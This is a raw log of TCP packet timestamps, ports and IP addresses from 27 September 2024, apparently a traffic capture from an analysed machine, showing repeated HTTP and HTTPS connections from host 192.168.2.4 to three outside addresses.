Sep 27, 2024 17:42:38.578727961 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.589884996 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.589935064 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.590296984 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.591700077 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.635427952 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.802301884 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.802397013 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.853427887 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.853575945 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.853656054 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.853924990 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.853985071 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.854022026 CEST	49813	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:38.854038000 CEST	443	49813	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:38.925484896 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.926321030 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.931262016 CEST	80	49812	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.931277990 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:38.931339025 CEST	49812	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.931425095 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.932248116 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:38.937927008 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:39.061342955 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.061394930 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.061611891 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.062105894 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.062128067 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.400904894 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.400942087 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.401016951 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.401518106 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.401535988 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.633012056 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.633110046 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.656924963 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.656944990 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.657319069 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.665517092 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.675354004 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:39.675544977 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:39.684696913 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:39.691418886 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:39.711404085 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.905369997 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.905492067 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.905586958 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.907602072 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:39.909169912 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:39.910785913 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.910851955 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.921735048 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.921772957 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.922247887 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.923059940 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.967398882 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.983061075 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.983087063 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:39.983098984 CEST	49815	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:39.983107090 CEST	443	49815	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:40.037242889 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.037519932 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.077665091 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:40.078358889 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.078653097 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.079498053 CEST	80	49814	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:40.079632044 CEST	49814	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.084816933 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:40.356524944 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:40.356666088 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:40.356717110 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:40.371390104 CEST	49816	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:40.371423960 CEST	443	49816	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:40.803431988 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:40.804673910 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.805481911 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:40.810750008 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:40.887779951 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:40.887886047 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:40.887976885 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:40.888639927 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:40.888676882 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.035911083 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:41.035980940 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.145797014 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.146163940 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.151776075 CEST	80	49817	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:41.152009964 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:41.152962923 CEST	49817	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.153028965 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.153410912 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.158195019 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:41.378618956 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.378788948 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.380755901 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.380790949 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.381064892 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.381869078 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.427412987 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.616977930 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.617034912 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.617160082 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.617652893 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.617669106 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.828373909 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.828501940 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.828582048 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.828694105 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.828694105 CEST	49818	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:41.828743935 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.828771114 CEST	443	49818	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:41.931767941 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:41.931847095 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.932569027 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:41.937370062 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:42.112597942 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.112708092 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.114231110 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.114237070 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.114495039 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.127162933 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.164429903 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:42.164509058 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.167443037 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.295066118 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.295372963 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.302840948 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:42.302912951 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.302968025 CEST	80	49819	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:42.303031921 CEST	49819	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.306612015 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:42.312087059 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:42.370567083 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.370690107 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.370825052 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.379575968 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.379587889 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.379599094 CEST	49820	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.379605055 CEST	443	49820	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.936824083 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.936876059 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:42.936994076 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.937298059 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:42.937315941 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.047832966 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.047919989 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.069158077 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.074402094 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.312967062 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.313080072 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.440481901 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.440566063 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:43.454751015 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.457469940 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.459887028 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:43.459913015 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.460247993 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.461788893 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:43.469702959 CEST	80	49821	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.469775915 CEST	49821	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.471426964 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.471508980 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.503415108 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.517040014 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:43.522797108 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:43.734976053 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.735084057 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:43.735158920 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.109185934 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.109222889 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:44.109354019 CEST	49822	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.109364033 CEST	443	49822	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:44.228558064 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.228801012 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.248790979 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.253781080 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.483057022 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.485595942 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.635293961 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.635790110 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.640500069 CEST	80	49823	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.640562057 CEST	49823	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.640783072 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.640851021 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.644453049 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:44.649405003 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:44.947978973 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.948035002 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:44.948107004 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.948626041 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:44.948643923 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.341553926 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.341614008 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.360764980 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.365649939 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.407246113 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.407324076 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.409075022 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.409087896 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.409342051 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.411652088 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.455406904 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.584373951 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.584492922 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.703466892 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.703767061 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.708892107 CEST	80	49824	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.708956003 CEST	49824	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.709500074 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.709640980 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.709882975 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:45.715053082 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:45.806466103 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.806577921 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.808938980 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.836628914 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.836667061 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:45.836682081 CEST	49825	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:45.836689949 CEST	443	49825	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:46.427062988 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.427407980 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.474534988 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.479477882 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.704027891 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.704082966 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.817687035 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.818115950 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.822999001 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.823065042 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.823219061 CEST	80	49826	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.823262930 CEST	49826	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.824382067 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:46.829421997 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:46.871253967 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:46.871301889 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:46.871360064 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:46.872107029 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:46.872124910 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.359904051 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.359982014 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.364626884 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.364645958 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.365057945 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.365978003 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.411396980 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.538531065 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:47.538597107 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.564946890 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.571041107 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:47.798877001 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.799012899 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.799077034 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.804733992 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:47.804805040 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.823606968 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.823637009 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.823651075 CEST	49828	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:47.823657036 CEST	443	49828	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:47.932101011 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.932416916 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.963970900 CEST	80	49827	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:47.965174913 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:47.965240002 CEST	49827	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.965286970 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.969048023 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:47.992849112 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:48.715414047 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:48.715471983 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:48.721458912 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:48.723124981 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:48.723160982 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:48.723238945 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:48.729926109 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:48.729942083 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:48.734107018 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:48.956645966 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:48.956715107 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.153541088 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.153968096 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.165313959 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:49.165539026 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.166328907 CEST	80	49829	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:49.169349909 CEST	49829	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.309902906 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.314965963 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:49.423377037 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.423427105 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.423523903 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.424094915 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.424120903 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.453998089 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:49.454062939 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:49.456552982 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:49.456564903 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:49.456939936 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:49.513376951 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:49.559407949 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:49.575086117 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.575191975 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.575279951 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.576093912 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.576131105 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.871306896 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:49.871407986 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.892885923 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:49.898241997 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:49.941942930 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.942015886 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.951535940 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.951558113 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.951839924 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:49.955956936 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:49.999420881 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.083151102 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.083242893 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.084501982 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.084527016 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.084891081 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.085870981 CEST	49833	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.127413988 CEST	443	49833	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.157110929 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:50.160288095 CEST	80	49831	185.215.113.16	192.168.2.4
Sep 27, 2024 17:42:50.160366058 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:50.160439014 CEST	443	49830	140.82.121.3	192.168.2.4
Sep 27, 2024 17:42:50.160466909 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:50.160485029 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:50.160469055 CEST	49831	80	192.168.2.4	185.215.113.16
Sep 27, 2024 17:42:50.163753033 CEST	49830	443	192.168.2.4	140.82.121.3
Sep 27, 2024 17:42:50.217494965 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.217601061 CEST	443	49832	172.67.187.100	192.168.2.4
Sep 27, 2024 17:42:50.217657089 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.218080044 CEST	49832	443	192.168.2.4	172.67.187.100
Sep 27, 2024 17:42:50.218080044 CEST	49832	443	192.168.2.4	172.67.187.100
